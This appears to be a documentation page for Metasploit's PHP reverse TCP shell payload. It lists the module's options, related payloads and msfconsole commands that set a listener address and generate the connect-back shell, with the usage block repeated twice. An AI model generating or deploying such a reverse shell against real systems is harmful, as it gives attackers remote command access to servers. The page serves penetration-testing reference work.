PHP Command Shell, Reverse TCP (via php)
Reverse PHP connect back shell with checks for disabled functions
Rank
- Normal
Authors
- egypt < egypt [at] metasploit.com >
Similar Modules
- payload/php/bind_perl
- payload/php/bind_perl_ipv6
- payload/php/bind_php
- payload/php/bind_php_ipv6
- payload/php/download_exec
- payload/php/exec
- payload/php/meterpreter/bind_tcp
- payload/php/meterpreter/reverse_tcp
- payload/php/meterpreter_reverse_tcp
- payload/php/reverse_perl
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/php/reverse_php
msf payload(reverse_php) > set LHOST [MY IP ADDRESS]
msf payload(reverse_php) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/php/reverse_php
msf payload(reverse_php) > set LHOST [MY IP ADDRESS]
msf payload(reverse_php) > generate
Module Options
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| AutoRunScript | A script to run automatically on session creation. |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
